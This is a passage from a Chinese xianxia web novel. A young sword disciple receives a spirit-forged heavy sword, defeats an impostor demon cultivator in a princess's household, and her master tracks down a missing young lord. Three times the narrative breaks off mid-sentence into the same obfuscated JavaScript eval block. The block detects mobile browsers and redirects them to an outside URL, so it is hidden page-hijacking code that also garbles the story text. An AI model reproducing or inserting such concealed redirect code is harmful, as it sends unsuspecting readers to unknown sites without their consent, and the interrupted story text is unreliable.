洛禺讪笑着拍了拍孟婷的肩膀:“这么如临大敌做什么,别吓着小白师妹了。师祖入魔前说过这话又怎么样,那师祖入魔之前还吃饭喝水练剑了呢。” “师祖?”师月白有些疑惑,谢珩不是多话的人,但是她在师尊身边待了那么多年,却从未听他提及过师祖。 “陈年旧事罢了,谢师伯都没跟你说,你就别问了。”洛禺自知失言,其实在晓雾峰,师祖的名字也称得上禁忌。只是晓雾峰弟子实在太多,又总是有洛禺这样学艺不精留级了一年又一年的,那些乱七八糟的传言便一代一代地流传了下去。 师月白还想细问,就被孟婷催着赶紧去睡觉了。明天还要送少女们回家,现在确实应该好好休息养精蓄锐。师月白老老实实地躺下来,但是屋外风雨如晦,透过漏水的屋顶滴下来的雨滴声却扰的她难以入眠。 次日,好不容易睡着的师月白被孟婷叫起来的时候,几乎有一种她才刚刚睡着的错觉。她揉着眼睛从草垫上爬起来,庙外已经雨过天晴,询问之下发现有三五个少女都来自附近的程家村,于是众人当即决定先将这些少女送回村子。 少女们怕麻烦,只说送到村口便好,师月白和孟婷坚持把她们全部送回家门口。 “小程姑娘,你家就住在这里吗?” “是啊,”姓程的姑娘看了一眼隔壁烧的焦黑的房子,猜到了孟婷心中疑虑,“这一户人家也是可怜,他们家本有两个年纪和我差不多大小的双胞胎女孩,其中一个五岁的时候掉进河里淹死了,后来他们家又生了个男孩,结果过了些年,半夜突然走水,全家人就这么没掉了。” “我家的房子也被火势波及,现在的房子是前年我哥哥娶媳妇刚刚建起来的。” “人没事就好,”洛禺安慰说,“姑娘两次化险为夷,想必是有福之人,今后的日子想来福气还在后头。” “那便承公子吉言了。”程姑娘笑道。 离开程家村,众人又把附近的姑娘通通交到她们父母手上,老人看到女儿回来,无不涕泣横流,拉着三个少年便口称仙长几乎要跪下磕头,师月白和孟婷并不擅长应付这样的场面,还好有洛禺在。 “不妨事不妨事,我们仙门弟子分内之举罢了。” “是令爱吉人自有天相,不必谢不必谢。” “老人家莫要给我们磕头,我们可是要折寿的。” “不必送不必送,我们还要送别的姑娘回家呢。” 孟婷悄悄和师月白咬耳朵:“我平日里觉得师兄不学无术,现在看看,他这张嘴倒是挺快的嘛。” “背后嚼人舌根子,非君子所为啊师妹。”洛禺从后面冒了出来,举起手里的东西在孟婷面前晃了一晃,“亏我还记得师妹喜欢吃辣,什么礼物都没收,独独收了一户人家送的灌肠。” 孟婷这时才偶然冒出一点儿童心性,扭头就要去抢洛禺手中的灌肠,洛禺适时逗孟婷一般地缩回了手,最后还是师月白看不下去,一把抢过了腊肠。 “见者有份,我也想吃。” “你也想吃,你们以清山有炉灶吗你也想吃?”洛禺吃瘪,只好在嘴上讨回来。 师月白想了想,好像还真没有。 以清山只有她和师尊两个活人,她这个刚化形的灵兽自然不必多说,谢珩这样的人,也很难想象他用炉灶的样子。 “我家有炉灶,仙长拿一个走。”其中一个姑娘笑嘻嘻地说。 “我家也做了灌肠,仙长别抢啦,去我家的时候我叫我娘给你拿些。” “我家还有埋了十年的女儿红呢,仙长也拿些走吧。”温致宁笑着补充说。 “好啊好啊。”师月白这下没有客气当即就应下了,师尊有小酌的习惯,他心情好时,就会开一坛酒,月下独饮,兴之所至,便起身舞剑,翩若惊鸿,好看极了。 众人一大清早就出发,很快就把姑娘们都送回了家,最后三人身边,只剩下温致宁一人。 “方才我就想问,三位仙长想要先送谁,最后送谁都是由你们决定的,为什么特意来问过我的意见?”太守的小女儿知书达理,师月白想起那个鸠占鹊巢的冒牌货,二人明明气质迥异,可偏偏因为她是嫁入封家的新妇而无人察觉。 早在见到温致宁的第一面,三人便察觉到了不对劲之处,她与几人在封家碰到的那个“温致宁”长相几乎别无二致,细问之下,眼前的姑娘说自己名叫温致宁,神情坦荡,不似作伪。 她叫温致宁,那封家那个温致宁又是谁? “敢问温姑娘,家中可有与自己容貌相似的孪生姐妹?”洛禺沉声问道。 “我是家中独女,并没有孪生姐妹。” 这便有些难办了。幻化成别人相貌并非没有可能,甚至方法有很多种,可是那个魔头若会易容之术,又为什么要抓走那么多无辜少女生剥其皮呢。剥皮算得上流传甚广的魔族之术,剥去皮后,要么幻化成被剥皮之人的样貌,要么维持魔修因为衰老或者修习魔道而变化的自身容貌,无论如何,是万不可能变成第三个人的样子的。 无论是师月白和谢珩,还是孟婷和洛禺,那日见到的“温致宁”都绝不像是如坊主和樱桃那样被远程操控的傀儡。 三人没有摸清对方底细,并不敢直接上去硬刚。平心而论,人有了退路之后,就是会胆小很多。孟婷和洛禺两个人的时候,管他是什么魔修,几十张符纸不要钱地往他身上一丢,就不信对方不就范。 知道了谢师伯现在也在司州之后嘛,这种平时看不上眼的风险,如今倒也需要商榷一下了。 几人正在天人交战之间,温致宁突然又开了口:“仙长,还有一事,我刚刚还未秉明。” “我并非我爹娘的亲生女儿,而是五岁的时候被爹爹捡到的。在此之前有没有和我相貌相似的姐妹,我并不能确定。” 师月白想了想,决定先把温致宁送回温家,再去封家和那个冒牌货对峙。 少女虽然找到了,但是封霁川依然下落不明,无论如何都与那个冒牌魔修脱不了干系,这封家他们都是非去不可了。 师月白虽然存了“证明自己已经可以独当一面给师尊看”的心思,但是却不敢真的叫师尊担心,她牵了牵手指,跟师尊说了他们打算去封家的事。 谢珩并没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13870742|146871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多说什么,只是问师月白是否还记得自己下山前给她的剑胚。 那是一位已故的高人所留的灵剑胚,无需锻造,就可以根据主人的心意化成最合适的样子,一经认主,则终生不改。 师月白并不知道那位高人故去之后,他随手打磨的一块废铁都有多一价难求。她只知道这是师尊的重要之物,它甚至都不曾出现在师尊的剑架上。 “真的给我了吗师尊?”她小声问,“可是师尊不是很喜欢它吗,认主了之后就不能改了。” “再喜欢也只是器物罢了,”就算是故人之物,睹物思人也不过是刻舟求剑,谢珩深谙这一点,如若师弟还在,也一定会欢喜他的造物到了小白手上,大概吧,“若能认你为主,也不枉它被锻造出来一遭。” “多谢师尊!” 龙生龙,凤生凤,剑修的徒弟见到好剑眼睛就开始发光,也是情理之中的事情。 剑胚在师月白手中缓缓化形,仿佛那位匠人时隔百年,在师月白面前挥动铁锤。 “你想要什么样的剑?”面目模糊的男人问道。 师月白想要看清他的脸,却始终如隔水观花,看不真切。 “这傻孩子,怎么呆住了,见到好剑太开心了吧,跟你师尊一个德行,”男人嗤笑,“好了好了,那我换个问题问。” “你为何而执剑?” 师月白几乎不假思索:“我想要成为和师尊一样厉害的剑修!” 男人又忍不住笑了,师月白总觉得男人的笑和帝君楚师叔一样,是把她当成小孩一样逗着玩的。 “怎么还生气了,我人死了还分一缕生魂在这给你锻剑,没有功劳也有苦劳,你这小鬼,笑一笑都不行啊。” 被他这样一说,师月白顿时有些愧疚。 “十个剑修,九个都会说想成为和谢珩一样厉害的剑修。剩下那个是谢珩自己。那你为什么想要变成厉害的剑修呢?” 师月白被他问住了,晃神间,眼前浮现的是师尊因为抽离阳气而无比虚弱苍白的脸。 想保护师尊。 师月白自己都被自己这个想法给逗乐了,谢珩是什么实力,她又是什么实力。何况旁人还好,眼前这个前辈想必是师尊的旧识,又这么喜欢做弄人,这话一说出口,就会被他嘲笑的吧。 可是师月白明明已经在另想原因了,眼前的前辈还是哈哈大笑起来。 “前辈你你,你能探我神识?”师月白紧张得说话都结巴了。 “严格来说,这不叫探你神识。我本来就在你的神识里面,你想什么,我自然知道。小姑娘不要害臊嘛,想保护师尊也没有什么丢人的啦。” 那还是被师尊一剑砍了比较丢人。男人在心里默默讲了个地狱笑话。 “嘴上说着护佑苍生是很伟岸正直的,但是若无回护一人之心,又如何能推己及人呢?好孩子,你想要保护师尊,是因为他是你最重要的人,对吗。这与他是不是剑道至尊无关。” 师月白点了点头,又有些狐疑地看着眼前的男人,好像在说“那你刚刚笑什么”。 男人轻咳两声:“我笑点低。” 24. 谢珩其实也是个很怕寂寞的人 这是前辈,还是正在帮自己锻剑的前辈,还是不要和前辈计较了。 “喜欢什么样的剑?” 师月白说不出什么所以然来,在谢珩的耳濡目染下,如果一定要说“喜欢什么剑”的话,那她只能是什么剑都喜欢。 男人见她不说话:“什么剑都喜欢?你们剑修......罢了,换个问法吧,你脑瓜子聪明吗?剑谱要多久才能背会?会举一反三吗?” “自然是聪明的!”师月白脱口而出。那可不是吗,她从小连按时喝水都会被谢珩夸聪明,她对自己这一点自然是有自信的。 “嗯,剑谱?我还没有背过。举一反三,前辈,举一反三是什么?” 男人叹了口气,心中有了定论。 “力气呢,力气如何?” 师月白这下更有自信了:“我力气可大了!” 男人狐疑地看了她一眼:“原身是.......狮子?” 师月白点点头:“对呀,我原身力气更大呢。” “好了,剑给你。” 那是一柄玄铁重剑,剑长八尺,重达八十二斤。 饶是师月白,拿起剑时也感觉到了一丝吃力。八十二斤看似不沉,但是若要拿在手中挥砍,却也没有那么得心应手。 “还没有刻上剑铭,若是不想要这个形制,我还能再给你换别的。” 师月白双手提起剑,随手挥出几式。剑虽沉,但是力量感十足,她很喜欢。 “是我还没有习惯,不是前辈剑的问题。剑很好,多谢前辈!” 男人轻轻笑了起来,很温柔地看着师月白,仿佛看到了很多年前巫山上,被师兄师姐照拂之下无忧无虑的自己。 “不必谢我,是你师尊把剑胚给你的,喜欢的话去谢你师尊吧。” “方才那招太初斩,角度偏了些,”男人从她手里拿过剑,随手演示了一遍之后把剑还给了她,“不错不错,悟性虽然差点,但是力气挺大的,是个好苗子。” 师月白自动地忽略了男人前半句“悟性虽然差点”,甜甜地冲男人笑了笑:“多谢前辈夸奖。” 男人的灵体渐渐变得透明,他知道自己这一缕生魂已经时日无多。 “你师尊好么。” “好.......”师月白犹豫了一下,“只是除了楚师叔,没什么人会来以清山上找师尊玩,我也不知道师尊会不会寂寞.......前辈,这样算是好吗?” 男人已经开始消散了,师月白无端地觉得手中的剑似乎越来越沉了。 消散之前,男人似乎想要伸手摸一下师月白的发顶。 “前辈,您还没跟我说,您叫什么名字呢?” “记我的名字做什么,”男人还有心思玩笑,“打输了难道还要说是我给你锻的刀?报谢珩名字就行。” “谢珩........其实也是个很怕寂寞的人,好好陪着他,除了你,他没剩下什么了。” 好肉麻,男人想。如果没有别的剑胚的话,这估计是他留在这世界上最后一句话了。他最后一句话居然说了这么肉麻的话吗,真是失算,应该提早想些别的流芳百世的名言的。 但是他的剑早已足够为他留下千世万世的英明了。 男人消散了,师月白眨了眨眼,洛禺和孟婷有些关切地看着自己,手中的重剑线条流畅而漂亮,昭示着刚刚男人的出现并非是一场梦。 “好剑啊。”洛禺认真地感慨道。 孟婷问:“师兄你还懂剑么?” “不懂啊,但是我为人处世的原则告诉我,剑修拿到第一把本命剑的时刻就好比常人的金榜题名时洞房花烛夜,这可是一定要恭喜不可的时刻。” 进了司州城后,几人轻车熟路地来到了公主府。 公主看见洛禺和孟婷,明显有些惊喜:“二位仙长,还好二位仙长平安无事.......不知我儿霁川.......” “公主莫急,不知道温姑娘何在?关于封公子,我们想要问她一些问题。” 公主当即就要派出下人去东院请少夫人,师月白却适时起身:“不必麻烦,我们前去就好。” “不必麻烦。”一道声音从身后传来,师月白回头,其实细看之下,她的容貌和温致宁其实是有分别的。即使是孪生姐妹,细看之下其实也有差别。 只是时机太过巧合了,刚好选在了温致宁和封霁川新婚之夜,公主府的人对于温致宁本身就并不熟悉,自然没有发现这点差别。 “公主不是问我们,封公子眼下身在何处吗?”师月白的手已经按在剑上,“那就要问问这位姑娘了。她并非真正的温致宁,真正的温小姐,被我们救出之后,已经送回温家了。” “就算是容貌再相似的人,仔细辨别之下也总有差别,”洛禺补充,“公主驸马若不信,可去温家亲自询问。” “人是我带走的,”不再需要扮演那个多年未见的妹妹之后,司凌神色坦荡,“那又如何,如今就算我带他来见你们,他也会亲口承认他是自愿跟我走的。” “我不信!”封霁川是驸马的独子,本就一头华发的驸马立即呕出一口鲜血,“川儿一向孝顺,怎会跟你这个妖女离开?” 愤怒之下,司凌体表的青鳞逐渐显露出来,胆小的侍女惊叫出声,朝夕相处的“少夫人”突然变成了面目可憎的怪物,一时间觉得害怕惊惧确实也是情理之中的事。 师月白悄悄地瞥了一眼洛禺,小声道:“师兄,这里的东西,如果我打碎了,你应该赔得起吧。” 洛禺还没反应过来,师月白就挥起她那快一百斤重的大剑,劈砍向司凌。 剑风凌厉,其势不可挡。 司凌毕竟师从魔尊修习多年,知这招不可硬抗,迅速回身闪避。 洛禺见势不妙,赶紧回护无关的普通凡人往边上撤去。 门外的侍卫听到打斗声,从屋外赶了过来。“你们还来啥啊,”洛禺欲哭无泪,“这是你们能帮得上忙的地方吗?” 重剑凌厉却笨重,眼前的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13870743|146871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 魔修不知道学的什么招式,招招用的都是巧劲,竟有四两拨千斤之感。师月白刚刚化形没多久,连人的语言都学的马马虎虎,顶多是耳濡目染,学了些似是而非的剑招。虽然挂了个谢珩仙君首徒的名字,但是碰上实打实在魔尊手下修炼数年的司凌,却也讨不上什么好处,这还是算上了孟婷的灵符在一旁助力的情况。 但是不知为何,师月白觉得司凌招招都意不在自己,而在躲在暗处的孟婷。 隐身符作用时间极短,每每到了隐身符失效之时,司凌便会分出心思来对付孟婷。 仿佛比起打赢师月白从她手底下逃生,杀掉孟婷对她来说是重要得多的要务。 奇怪。 她和孟婷本该是第一次见面,为什么会对初见的孟婷怀着那么大的恶意呢。 隐身符再次失效,司凌再次摒弃师月白转向孟婷。但是这一次孟婷没有躲也没有再挥出下一张隐身符,只是直直地站在那里,仿佛引颈就死一般。 定身咒! 战局瞬息万变,师月白几乎没有发现她是什么时候在孟婷身上施加定身咒的。 “我哪样不如你这个样样不出挑的废物!” 司凌的严丝合缝的防守出现了一丝裂隙,师月白挥剑砍去,随剑挥出的,竟是谢珩惯用的凌霄剑气。师月白见惯了谢珩使这一招,和剑磨合好之后,竟凭着记忆使出了这一招。 孟婷狼狈地在地上打了个滚,她方才并没有真的中了定身咒,只是她也发现了那个魔修比起师月白,好像攻击自己的欲望更加强烈,故而一身为饵,逼她现出破绽来。 两个人未经交流,竟然误打误撞默契地真的击溃了司凌。 师月白第一次使出的凌霄剑气威力并不怎么大,若是谢珩使出这招,只怕眼前的魔修早已神魂俱灭,师月白修为不足也不甚熟谙这招,还给魔修留下了一口气。 “封公子现在身在何处?”师月白以剑抵住她的咽喉,灵剑的威压几乎让她呼吸不畅,生不如死,“你作恶多端,我不会饶你性命,但是若说出封公子的下落,我便赏你个痛快。” 被凌霄剑气击中,有那么一瞬间,司凌几乎已经失去了意识,回过神来时,才后之后觉得感觉到疼,五脏六腑都仿佛倒置。她努力抬眼看向孟婷,她一身晓雾峰弟子服制,容貌算不上出挑,但是不得不承认这个年纪的少女就算不美,看起来也是极其舒心的。 平平的天赋,平平的样貌,平平的修为。 还有刚刚那个跟着平民一起离开的废物,连魔界的最低级的血奴大概都能将他击败。 连这样的废物楚悬都收归门下,凭什么,凭什么只有她被赶下了晓雾峰。 她迎着师月白的剑锋,怨毒地看着她身后的孟婷。 或者说,她所怨之人并非孟婷,而是恨连孟婷洛禺之流都收归门下,却独独赶走了她的楚悬。 “封公子在哪里?”师月白又问了一遍。 司凌并不畏惧,反而冷哼一声,逼近了师月白的剑锋。 25. 但是我腹中已经有了阿凌的孩子 师月白察觉到她似乎有在求死,轻轻移开了灵剑。但是司凌就那么怨毒地盯着她身后的孟婷,在他们眼前断了气。 师月白惊愕地拿开剑,剑上分明没有新血,可是眼前的魔修确实是死了,体表的青鳞渐渐散去,露出她原本的白皙细腻的肌肤。 “小白,不是你的错,若是一心求死,本就重伤的人自弃灵体,你是如何也拦不住的。” “找封公子肯定还有别的办法,公主府的人平安无事没被魔修所害就好。”孟婷看着师月白一幅把事情搞砸了诚惶诚恐的样子,温声安慰。 洛禺进来之后,仔细探查了尸体,发现魔修确实已经气息全无,他把手指附在她腕上,也确实没了脉搏。 “我还是觉得不对,”洛禺蹲在地上,少见地有些没了生气,这是在他被谢珩的凌霜剑指着的时候都不曾有的,“她为什么会说封公子是自愿跟她走的,又为什么和温小姐长相几乎一模一样,还有她的实力,她明明能驱动那么多尸傀,少说也该有千年修为,可是刚刚表现出来的,却完全不像是那样。我不是说二位师妹不厉害的意思.......” “还有就是,”师月白补充道,“她刚刚和我们打架的时候杀心很重,全然不似愿意伏诛的样子。” “师兄,”孟婷抬起头,“这傀儡术,可有什么把活人的生魂塞进傀儡的法子?” 提早准备好一具傀儡,在必要时从肉身抽出灵体进入傀儡,好金蝉脱壳?洛禺被她惊天的设想给震惊到了,而他也只是个虽然见多识广但是不求甚解的普通符修,自然是说不出个所以然来。 “这.......这我如何能知道,不然我们现在去林师叔或者师祖的庙里烧点香问问?” 孟婷无语地拍了一下他的后脑:“这话要是被师尊听到了,你可仔细着你的皮。” 洛禺双手合十:“师祖林师叔在天有灵,大人不记小人过。” 然而洛禺其实听人说过,自爆灵体和入魔之人,其生魂是不入轮回的。晓雾峰的大部分弟子其实都是在师祖死后在被楚悬收入门下的,他们并不熟悉这位师祖,所有关于她的只言片语,也都不过是通过典籍和不知道偏到哪里去的代代相传。 人间还有她的庙宇,灵山还有她的典籍。但是各大灵山上,她的名字却无人提及。 “我先去找公主,叫她把寻人启事贴出去,看看司州百姓有没有见过封公子的吧。”洛禺本是看着两位师妹郁郁寡欢想逗她们开心,没想到并没有起什么作用,讪讪地提出了个不成建议的建议。 “嗯,”师月白点头附和,“试试吧,万一有见过的呢。” 尽管人命的重量并不能挂在天平上衡量,一个人的性命也同几十个人的性命一样的重要,但是接回几十个少女之后,三个少年还是放心不少。 司凌说就算眼下带封霁川来看他们他也会说是自愿和她离开的,如果她说的属实,那封公子至少性命无虞,对三人和他的家人来说也算是个好消息。 司州城郊的一个客栈,小二看着前来住店的少年,觉得有些眼熟,却想不起是在哪里见过。 “小五,想啥呢,没看见那桌客人都等急了?还在这里发呆。” 小二如梦初醒地三步并两步跑去了后厨,给那桌等候已久的客人上了菜。 “老板娘,你不觉得刚刚那个人有些眼熟吗?” “眼熟什么眼熟,”老板娘以为他只是给自己的走神找借口,呵斥了一声,顺着他的目光望去,却也发现了端倪,“.......看起来有点像城里在找的封公子呢。” “那咱们要报官吗?听说赏钱是整整二十两银子呢。” 老板娘犹豫了一下,二十两银子虽多,但是若是提供了假情报,让官老爷们白跑一趟,少不得一顿数落。 负剑的修士走进客栈时,老板娘和小二正处于天人交战之际。不报官吧,那是整整二十两银子,报官吧,万一不是的话,官老爷们风风火火地来一趟确实影响生意,而后者的可能性又更大些。 “客官您是打尖儿还是住店呀?”另一个小二热情地迎了上去,各大仙山的修士对这些生意人来说算是送上门的大生意,他们通常出手阔绰,没带银子时,甚至会拿灵石来付账。 凡人虽然不能用灵石修炼,但是达官贵人家中常有些灵石驱动的宝物,比如什么能够留下影像的镜子,能够每天说吉利话的机偶小鸟之类的。因此灵石也是一种相当值钱的货币了。 “见过这个人吗。”修士眉眼清冷如霜雪,以致他展开画卷时,身旁的小二竟然冒昧地盯着他的脸看,而忘了回答。 “抱歉抱歉,刚刚走神了,我不曾见过,客官不如问问我们掌柜的,她记性好,几乎过目不忘。” 修士点点头,示意他先去忙,向老板娘走去。 “客官是官府的人吗?”老板娘看着他,试探性地问了一句。 修士点点头,没有否认,亮出了公主府的令牌:“算是,受公主之托,前来寻封公子。” 老板娘拿起画卷,又仔细看了看:“确实见过一位长得和画像上公子有几分相似的客官,我前些日子出门探亲去了,今日刚刚发现,正打算报告官府呢。” 老板娘不愧是生意场上行走多年的人,一番话可以说得上滴水不漏。 “带我去见他。有劳。” “好的客官,您先稍等片刻,我去通传一下,小二!”她冲刚刚的小二招呼了一番,“赶紧去同那位客官说一声,有人找。” “不必,”修士拦住了前去通传的小二,“我同你一道去就好。” “客官,我们这里有规矩,有人找客人需要通传一下的,为了尊重客人隐私嘛,”小二有些为难,“希望您理解。” “规矩是死的你人也是死的?”老板娘见多识广,轻轻推搡一下了小二,“还不快带这位客官过去?” 封霁川回到自己的房间,司凌的偶人正平躺在床上,毫无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13870744|146871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生气。 和这样一个与真人别无二致的死物共处一室,寻常的凡人多少会有些胆寒。封霁川却神色温柔地握住了偶人冰凉的手,轻轻放在自己小腹。 “阿凌都让我在这里守了三天了,你到底什么时候回来呀。” 你去做什么了,我有些担心你,还有些想你了。 门外响起了脚步声,这家客栈隔音并不好,这样的声音经常响起,这几天封霁川几乎已经习惯了。 但是这脚步声停在了封霁川的房门口,然后门被吱呀一声推开。 封霁川进门时,分明已经上了锁。 “你是什么人,随意开别人的房门,可不是君子所为。”封霁川知道来着不善,有些愠怒地看着眼前的来人。 “封霁川是吗?”谢珩看着他,拿出画像和真人比了比。 画像上看不出来,真人怎么长得有点像他那个倒霉师弟。 “你是何人?”封霁川皱着眉又问了一遍。 “你娘让我来把你带回去,没什么事的话,就赶紧走吧。”谢珩并不想理会这个没事给人找事的小少爷,尤其是他那张看着就很欠揍的脸和不厌其烦的问题,和十五六岁时候最招人烦的楚悬简直如出一辙。他拿出公主府的令牌亮了亮,示意封霁川赶紧跟上。 “这确实是我母亲的令牌。”封霁川盯着那一块令牌,神色专注地看了许久,直到谢珩几乎已经有些不耐烦了,才点了点头,低声说道。 “但是仙长,我不能跟你回去。”他小声但是坚定地说。 中邪了?谢珩心道。 “我有负皇恩,有负爹娘。” 小公子跪在地上,向东庄重地叩首三次。 “但是我与阿凌两情相悦。爹娘还年轻,还能再生儿育女,阿凌她只有我了。” 他不说还好,说了之后,谢珩马上就注意到那个隔着床幔躺在床上的人影。他捻了个诀,床幔掀开,是一个和温致宁别无二志的偶人。 这还真是得来全不费工夫。至于封霁川,打晕带走吧,人活着就行。谢珩无意跟他废话,提起剑柄就要揍人。 “仙长!”封霁川拉住了谢珩的袍袖,“我和阿凌两情相悦,我已决意此生与阿凌生死与共,望仙长成全。” “你可知她作恶多端,曾夺去多少无辜之人的性命?” “我知道。”封霁川垂下眼眸,“但是阿凌身世凄楚,身不由己。” 谢珩甩开了他的手:“掳走数十个少女生剥其皮害她们性命,也是身不由己?” 封霁川怔了怔,原本跪直的身子瘫软在地上。他是读惯圣贤书的人,这些人命太过沉重,他望着妻子熟悉的面庞,牙关轻轻颤抖。 “仙长,我知道阿凌罪无可恕,但是我腹中已经有了阿凌的孩子,求仙长看在孩子的份上,饶阿凌性命。” “胡言乱语,”谢珩冷冷扫过他一眼,心中已经认定此人是中了邪,“你是男子,男人如何能怀孕生子。”